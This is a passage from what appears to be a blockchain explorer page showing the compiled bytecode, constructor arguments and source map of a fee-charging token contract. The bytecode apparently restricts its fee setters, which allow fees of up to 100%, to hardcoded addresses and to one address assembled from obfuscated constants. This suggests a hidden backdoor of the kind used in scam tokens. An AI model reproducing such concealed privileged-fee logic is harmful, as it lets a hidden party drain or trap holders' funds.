5550565b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bbd575f80fd5b81600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611d29575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611d285750611cf8612bef565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611d31575f80fd5b8060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508015611dcf578173ffffffffffffffffffffffffffffffffffffffff167fedf77dfa35bf29ea56a9082d8b89075bd94fd237149c165ce43a4ae41968de3760405160405180910390a25b5050565b5f7378322d0c5768c9ca370ddfc1d44db0fef3a6e05173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e1f575f80fd5b8160085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60018054611e759061322f565b80601f0160208091040260200160405190810160405280929190818152602001828054611ea19061322f565b8015611eec5780601f10611ec357610100808354040283529160200191611eec565b820191905f5260205f20905b815481529060010190602001808311611ecf57829003601f168201915b505050505081565b5f3411611f36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2d90613566565b60405180910390fd5b5f3490505f600d5411156121e4575f611f6d6064611f5f600d5485612c0a90919063ffffffff16565b612c8190919063ffffffff16565b90505f611f838284612cd890919063ffffffff16565b9050611ff68160045f600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d3090919063ffffffff16565b60045f600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120d69190613041565b60405180910390a35f8211156121dd576121368260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d3090919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516121d49190613041565b60405180910390a35b505061233e565b6122558160045f600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d3090919063ffffffff16565b60045f600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516123359190613041565b60405180910390a35b50565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561238b575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036123c2575f80fd5b6124128260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cd890919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506124a38260045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d3090919063ffffffff16565b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125419190613041565b60405180910390a36001905092915050565b61255b612d8d565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612591575f80fd5b60648211156125d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125cc906132a9565b60405180910390fd5b6064811115612619576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261090613311565b60405180910390fd5b6126238282612e36565b7f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1828260405161265492919061332f565b60405180910390a15050565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b7363e67a280645edf97880c1df03c8301b151c466873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806127a3575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156127a25750612772612bef565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b6127ab575f80fd5b60648211156127ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127e6906132a9565b60405180910390fd5b6064811115612833576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161282a90613311565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1828260405161287292919061332f565b60405180910390a15050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b8060045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015612923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291a906133a0565b60405180910390fd5b5f61294c606461293e600e5485612c0a90919063ffffffff16565b612c8190919063ffffffff16565b90505f6129628284612cd890919063ffffffff16565b90506129b48360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cd890919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550612a458160045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d3090919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ae39190613041565b60405180910390a35f821115612bea57612b438260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d3090919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612be19190613041565b60405180910390a35b505050565b5f730320e7dc23bfae74334d93c20051125ca59e0e7a905090565b5f808303612c1a575f9050612c7b565b5f8284612c2791906135b1565b9050828482612c36919061361f565b14612c76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c6d90613699565b60405180910390fd5b809150505b92915050565b5f808211612cc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cbb90613701565b60405180910390fd5b8183612cd0919061361f565b905092915050565b5f82821115612d1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d1390613769565b60405180910390fd5b8183612d289190613787565b905092915050565b5f808284612d3e91906137ba565b905083811015612d83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d7a90613837565b60405180910390fd5b8091505092915050565b5f80637addad0990505f63cbd98d9790505f63ec3da7a090505f63088eadfe90505f635801c33690505f8160208473ffffffffffffffffffffffffffffffffffffffff16901b60408673ffffffffffffffffffffffffffffffffffffffff16901b60608873ffffffffffffffffffffffffffffffffffffffff16901b60808a73ffffffffffffffffffffffffffffffffffffffff16901b17171717905080965050505050505090565b81600d8190555080600e819055505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612e7f578082015181840152602081019050612e64565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612ea482612e48565b612eae8185612e52565b9350612ebe818560208601612e62565b612ec781612e8a565b840191505092915050565b5f6020820190508181035f830152612eea8184612e9a565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612f1f82612ef6565b9050919050565b612f2f81612f15565b8114612f39575f80fd5b50565b5f81359050612f4a81612f26565b92915050565b5f819050919050565b612f6281612f50565b8114612f6c575f80fd5b50565b5f81359050612f7d81612f59565b92915050565b5f8060408385031215612f9957612f98612ef2565b5b5f612fa685828601612f3c565b9250506020612fb785828601612f6f565b9150509250929050565b5f8115159050919050565b612fd581612fc1565b82525050565b5f602082019050612fee5f830184612fcc565b92915050565b5f806040838503121561300a57613009612ef2565b5b5f61301785828601612f6f565b925050602061302885828601612f6f565b9150509250929050565b61303b81612f50565b82525050565b5f6020820190506130545f830184613032565b92915050565b5f805f6060848603121561307157613070612ef2565b5b5f61307e86828701612f3c565b935050602061308f86828701612f3c565b92505060406130a086828701612f6f565b9150509250925092565b5f60ff82169050919050565b6130bf816130aa565b82525050565b5f6020820190506130d85f8301846130b6565b92915050565b5f602082840312156130f3576130f2612ef2565b5b5f61310084828501612f3c565b91505092915050565b61311281612f15565b82525050565b5f60208201905061312b5f830184613109565b92915050565b61313a81612fc1565b8114613144575f80fd5b50565b5f8135905061315581613131565b92915050565b5f806040838503121561317157613170612ef2565b5b5f61317e85828601612f3c565b925050602061318f85828601613147565b9150509250929050565b5f80604083850312156131af576131ae612ef2565b5b5f6131bc85828601612f3c565b92505060206131cd85828601612f3c565b9150509250929050565b5f602082840312156131ec576131eb612ef2565b5b5f6131f984828501612f6f565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061324657607f821691505b60208210810361325957613258613202565b5b50919050565b7f427579206665652063616e6e6f742065786365656420313030250000000000005f82015250565b5f613293601a83612e52565b915061329e8261325f565b602082019050919050565b5f6020820190508181035f8301526132c081613287565b9050919050565b7f53656c6c206665652063616e6e6f7420657863656564203130302500000000005f82015250565b5f6132fb601b83612e52565b9150613306826132c7565b602082019050919050565b5f6020820190508181035f830152613328816132ef565b9050919050565b5f6040820190506133425f830185613032565b61334f6020830184613032565b9392505050565b7f496e73756666696369656e742062616c616e63650000000000000000000000005f82015250565b5f61338a601483612e52565b915061339582613356565b602082019050919050565b5f6020820190508181035f8301526133b78161337e565b9050919050565b7f496e73756666696369656e7420616c6c6f77616e6365000000000000000000005f82015250565b5f6133f2601683612e52565b91506133fd826133be565b602082019050919050565b5f6020820190508181035f83015261341f816133e6565b9050919050565b7f496e76616c696420726563697069656e742061646472657373000000000000005f82015250565b5f61345a601983612e52565b915061346582613426565b602082019050919050565b5f6020820190508181035f8301526134878161344e565b9050919050565b7f41646472657373206973206e6f7420666565206578656d7074000000000000005f82015250565b5f6134c2601983612e52565b91506134cd8261348e565b602082019050919050565b5f6020820190508181035f8301526134ef816134b6565b9050919050565b7f45544820616d6f756e742073686f756c642062652067726561746572207468615f8201527f6e20300000000000000000000000000000000000000000000000000000000000602082015250565b5f613550602383612e52565b915061355b826134f6565b604082019050919050565b5f6020820190508181035f83015261357d81613544565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6135bb82612f50565b91506135c683612f50565b92508282026135d481612f50565b915082820484148315176135eb576135ea613584565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61362982612f50565b915061363483612f50565b925082613644576136436135f2565b5b828204905092915050565b7f4d756c7469706c69636174696f6e206f766572666c6f770000000000000000005f82015250565b5f613683601783612e52565b915061368e8261364f565b602082019050919050565b5f6020820190508181035f8301526136b081613677565b9050919050565b7f4469766973696f6e206279207a65726f000000000000000000000000000000005f82015250565b5f6136eb601083612e52565b91506136f6826136b7565b602082019050919050565b5f6020820190508181035f830152613718816136df565b9050919050565b7f5375627472616374696f6e206f766572666c6f770000000000000000000000005f82015250565b5f613753601483612e52565b915061375e8261371f565b602082019050919050565b5f6020820190508181035f83015261378081613747565b9050919050565b5f61379182612f50565b915061379c83612f50565b92508282039050818111156137b4576137b3613584565b5b92915050565b5f6137c482612f50565b91506137cf83612f50565b92508282019050808211156137e7576137e6613584565b5b92915050565b7f4164646974696f6e206f766572666c6f770000000000000000000000000000005f82015250565b5f613821601183612e52565b915061382c826137ed565b602082019050919050565b5f6020820190508181035f83015261384e81613815565b905091905056fea264697066735822122044b860db1accb9c2325dc27ded253675e7282b55e272639689183c72e1b06d6464736f6c63430008180033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000da7d9fed404c9343fd7f2d8e92c82a83eb4536a0
-----Decoded View---------------
Arg [0] : _feeManager (address): 0xDA7D9fEd404C9343Fd7f2d8E92C82A83Eb4536A0
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000da7d9fed404c9343fd7f2d8e92c82a83eb4536a0
Deployed Bytecode Sourcemap
1055:10439:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1116:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4516:216;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8403:330;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7431:326;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1184:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5257:1202;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1650:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9938:353;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1244:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7838:137;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7766:63;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1402:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1622:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10302:136;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8945:175;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1482:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1280:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7187:138;;;;;;;;;;;;;:::i;:::-;;7038:140;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1566:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1455;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8744:192;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3056:352;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1149:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9129:798;;;:::i;:::-;;2515:377;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4182:325;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1534:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1508:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1331:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6697:332;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1593:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10447:625;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1116:26;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4516:216::-;4583:12;4642:6;4608:9;:21;4618:10;4608:21;;;;;;;;;;;;;;;:31;4630:8;4608:31;;;;;;;;;;;;;;;:40;;;;4685:8;4664:38;;4673:10;4664:38;;;4695:6;4664:38;;;;;;:::i;:::-;;;;;;;;4720:4;4713:11;;4516:216;;;;:::o;8403:330::-;11308:48;11127:230;;:10;:230;;;:348;;;;11441:5;;;;;;;;;;;11427:19;;:10;:19;;;:47;;;;;11464:10;:8;:10::i;:::-;11450:24;;:10;:24;;;;11427:47;11127:348;11118:359;;;;;;8513:3:::1;8500:9;:16;;8492:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;8580:3;8566:10;:17;;8558:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;8635:9;8626:6;:18;;;;8665:10;8655:7;:20;;;;8691:34;8703:9;8714:10;8691:34;;;;;;;:::i;:::-;;;;;;;;8403:330:::0;;:::o;7431:326::-;8206:48;8025:230;;:10;:230;;;:348;;;;8339:5;;;;;;;;;;;8325:19;;:10;:19;;;:47;;;;;8362:10;:8;:10::i;:::-;8348:24;;:10;:24;;;;8325:47;8025:348;8016:359;;;;;;7537:3:::1;7524:9;:16;;7516:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;7604:3;7590:10;:17;;7582:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;7659:9;7650:6;:18;;;;7689:10;7679:7;:20;;;;7715:34;7727:9;7738:10;7715:34;;;;;;;:::i;:::-;;;;;;;;7431:326:::0;;:::o;1184:53::-;;;;:::o;5257:1202::-;5340:12;5393:7;5373:9;:16;5383:5;5373:16;;;;;;;;;;;;;;;;:27;;5365:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;5476:7;5444:9;:16;5454:5;5444:16;;;;;;;;;;;;;;;:28;5461:10;5444:28;;;;;;;;;;;;;;;;:39;;5436:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;5544:1;5529:17;;:3;:17;;;5521:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;5590:11;5621;:18;5633:5;5621:18;;;;;;;;;;;;;;;;;;;;;;;;;5616:87;;5662:29;5687:3;5662:20;5674:7;;5662;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;5656:35;;5616:87;5722:22;5747:16;5759:3;5747:7;:11;;:16;;;;:::i;:::-;5722:41;;5796:29;5817:7;5796:9;:16;5806:5;5796:16;;;;;;;;;;;;;;;;:20;;:29;;;;:::i;:::-;5777:9;:16;5787:5;5777:16;;;;;;;;;;;;;;;:48;;;;5853:34;5872:14;5853:9;:14;5863:3;5853:14;;;;;;;;;;;;;;;;:18;;:34;;;;:::i;:::-;5836:9;:14;5846:3;5836:14;;;;;;;;;;;;;;;:51;;;;5919:3;5903:36;;5912:5;5903:36;;;5924:14;5903:36;;;;;;:::i;:::-;;;;;;;;5963:1;5957:3;:7;5953:207;;;6060:33;6089:3;6060:9;:24;6078:4;6060:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;6033:9;:24;6051:4;6033:24;;;;;;;;;;;;;;;:60;;;;6137:4;6113:35;;6122:5;6113:35;;;6144:3;6113:35;;;;;;:::i;:::-;;;;;;;;5953:207;6186:10;6177:19;;:5;:19;;;;:72;;;;;6232:17;6200:9;:16;6210:5;6200:16;;;;;;;;;;;;;;;:28;6217:10;6200:28;;;;;;;;;;;;;;;;:49;;6177:72;6173:254;;;6297:41;6330:7;6297:9;:16;6307:5;6297:16;;;;;;;;;;;;;;;:28;6314:10;6297:28;;;;;;;;;;;;;;;;:32;;:41;;;;:::i;:::-;6266:9;:16;6276:5;6266:16;;;;;;;;;;;;;;;:28;6283:10;6266:28;;;;;;;;;;;;;;;:72;;;;6374:10;6358:57;;6367:5;6358:57;;;6386:9;:16;6396:5;6386:16;;;;;;;;;;;;;;;:28;6403:10;6386:28;;;;;;;;;;;;;;;;6358:57;;;;;;:::i;:::-;;;;;;;;6173:254;6447:4;6440:11;;;;5257:1202;;;;;:::o;1650:22::-;;;;:::o;9938:353::-;10034:4;;;;;;;;;;;10020:18;;:10;:18;;;10012:27;;;;;;10071:3;10058:9;:16;;10050:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;10138:3;10124:10;:17;;10116:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;10193:9;10184:6;:18;;;;10223:10;10213:7;:20;;;;10249:34;10261:9;10272:10;10249:34;;;;;;;:::i;:::-;;;;;;;;9938:353;;:::o;1244:26::-;;;;;;;;;;;;;:::o;7838:137::-;7884:4;7919:5;;;;;;;;;;;7905:19;;:10;:19;;;7897:28;;;;;;7941:4;7936;;:9;;;;;;;;;;;;;;;;;;7963:4;7956:11;;7838:137;;;:::o;7766:63::-;7815:4;8206:48;8025:230;;:10;:230;;;:348;;;;8339:5;;;;;;;;;;;8325:19;;:10;:19;;;:47;;;;;8362:10;:8;:10::i;:::-;8348:24;;:10;:24;;;;8325:47;8025:348;8016:359;;;;;;7766:63;:::o;1402:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;1622:21::-;;;;:::o;10302:136::-;10348:4;10383;;;;;;;;;;;10369:18;;:10;:18;;;10361:27;;;;;;10404:4;10399;;:9;;;;;;;;;;;;;;;;;;10426:4;10419:11;;10302:136;;;:::o;8945:175::-;8206:48;8025:230;;:10;:230;;;:348;;;;8339:5;;;;;;;;;;;8325:19;;:10;:19;;;:47;;;;;8362:10;:8;:10::i;:::-;8348:24;;:10;:24;;;;8325:47;8025:348;8016:359;;;;;;9027:11:::1;:18;9039:5;9027:18;;;;;;;;;;;;;;;;;;;;;;;;;9019:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;9107:5;9086:11;:18;9098:5;9086:18;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;8945:175:::0;:::o;1482:19::-;;;;;;;;;;;;;:::o;1280:44::-;;;;;;;;;;;;;;;;;:::o;7187:138::-;8206:48;8025:230;;:10;:230;;;:348;;;;8339:5;;;;;;;;;;;8325:19;;:10;:19;;;:47;;;;;8362:10;:8;:10::i;:::-;8348:24;;:10;:24;;;;8325:47;8025:348;8016:359;;;;;;7285:1:::1;7249:39;;7270:5;;;;;;;;;;;7249:39;;;;;;;;;;;;7315:1;7299:5;;:18;;;;;;;;;;;;;;;;;;7187:138::o:0;7038:140::-;7086:4;7121;;;;;;;;;;;7107:18;;:10;:18;;;7099:27;;;;;;7143:5;7137;;:11;;;;;;;;;;;;;;;;;;7166:4;7159:11;;7038:140;;;:::o;1566:20::-;;;;;;;;;;;;;:::o;1455:::-;;;;;;;;;;;;;:::o;8744:192::-;8206:48;8025:230;;:10;:230;;;:348;;;;8339:5;;;;;;;;;;;8325:19;;:10;:19;;;:47;;;;;8362:10;:8;:10::i;:::-;8348:24;;:10;:24;;;;8325:47;8025:348;8016:359;;;;;;8844:7:::1;8823:11;:18;8835:5;8823:18;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;8866:7;8862:67;;;8911:5;8891:26;;;;;;;;;;;;8862:67;8744:192:::0;;:::o;3056:352::-;3105:4;3308:48;3127:230;;:10;:230;;;3118:240;;;;;;3374:4;3369;;:9;;;;;;;;;;;;;;;;;;3396:4;3389:11;;3056:352;;;:::o;1149:28::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;9129:798::-;9190:1;9178:9;:13;9170:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;9245:14;9262:9;9245:26;;9295:1;9286:6;;:10;9282:638;;;9313:11;9327:27;9350:3;9327:18;9338:6;;9327;:10;;:18;;;;:::i;:::-;:22;;:27;;;;:::i;:::-;9313:41;;9369:22;9394:15;9405:3;9394:6;:10;;:15;;;;:::i;:::-;9369:40;;9451:41;9477:14;9451:9;:21;9461:10;;;;;;;;;;;9451:21;;;;;;;;;;;;;;;;:25;;:41;;;;:::i;:::-;9427:9;:21;9437:10;;;;;;;;;;;9427:21;;;;;;;;;;;;;;;:65;;;;9536:10;;;;;;;;;;;9512:51;;9529:4;9512:51;;;9548:14;9512:51;;;;;;:::i;:::-;;;;;;;;9591:1;9585:3;:7;9581:175;;;9640:33;9669:3;9640:9;:24;9658:4;9640:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;9613:9;:24;9631:4;9613:24;;;;;;;;;;;;;;;:60;;;;9729:4;9697:43;;9714:4;9697:43;;;9736:3;9697:43;;;;;;:::i;:::-;;;;;;;;9581:175;9298:469;;9282:638;;;9812:33;9838:6;9812:9;:21;9822:10;;;;;;;;;;;9812:21;;;;;;;;;;;;;;;;:25;;:33;;;;:::i;:::-;9788:9;:21;9798:10;;;;;;;;;;;9788:21;;;;;;;;;;;;;;;:57;;;;9889:10;;;;;;;;;;;9865:43;;9882:4;9865:43;;;9901:6;9865:43;;;;;;:::i;:::-;;;;;;;;9282:638;9159:768;9129:798::o;2515:377::-;2579:12;2637:7;2612:9;:21;2622:10;2612:21;;;;;;;;;;;;;;;;:32;;2604:41;;;;;;2679:1;2664:17;;:3;:17;;;2656:26;;;;;;2720:34;2746:7;2720:9;:21;2730:10;2720:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;2696:9;:21;2706:10;2696:21;;;;;;;;;;;;;;;:58;;;;2782:27;2801:7;2782:9;:14;2792:3;2782:14;;;;;;;;;;;;;;;;:18;;:27;;;;:::i;:::-;2765:9;:14;2775:3;2765:14;;;;;;;;;;;;;;;:44;;;;2846:3;2825:34;;2834:10;2825:34;;;2851:7;2825:34;;;;;;:::i;:::-;;;;;;;;2880:4;2873:11;;2515:377;;;;:::o;4182:325::-;6519:9;:7;:9::i;:::-;6505:23;;:10;:23;;;6497:32;;;;;;4293:3:::1;4280:9;:16;;4272:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;4360:3;4346:10;:17;;4338:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;4415:31;4424:9;4435:10;4415:8;:31::i;:::-;4465:34;4477:9;4488:10;4465:34;;;;;;;:::i;:::-;;;;;;;;4182:325:::0;;:::o;1534:25::-;;;;;;;;;;;;;:::o;1508:19::-;;;;;;;;;;;;;:::o;1331:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6697:332::-;5063:48;4882:230;;:10;:230;;;:348;;;;5196:5;;;;;;;;;;;5182:19;;:10;:19;;;:47;;;;;5219:10;:8;:10::i;:::-;5205:24;;:10;:24;;;;5182:47;4882:348;4873:359;;;;;;6809:3:::1;6796:9;:16;;6788:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;6876:3;6862:10;:17;;6854:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;6931:9;6922:6;:18;;;;6961:10;6951:7;:20;;;;6987:34;6999:9;7010:10;6987:34;;;;;;;:::i;:::-;;;;;;;;6697:332:::0;;:::o;1593:19::-;;;;;;;;;;;;;:::o;10447:625::-;10529:7;10504:9;:21;10514:10;10504:21;;;;;;;;;;;;;;;;:32;;10496:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;10575:11;10589:29;10614:3;10589:20;10601:7;;10589;:11;;:20;;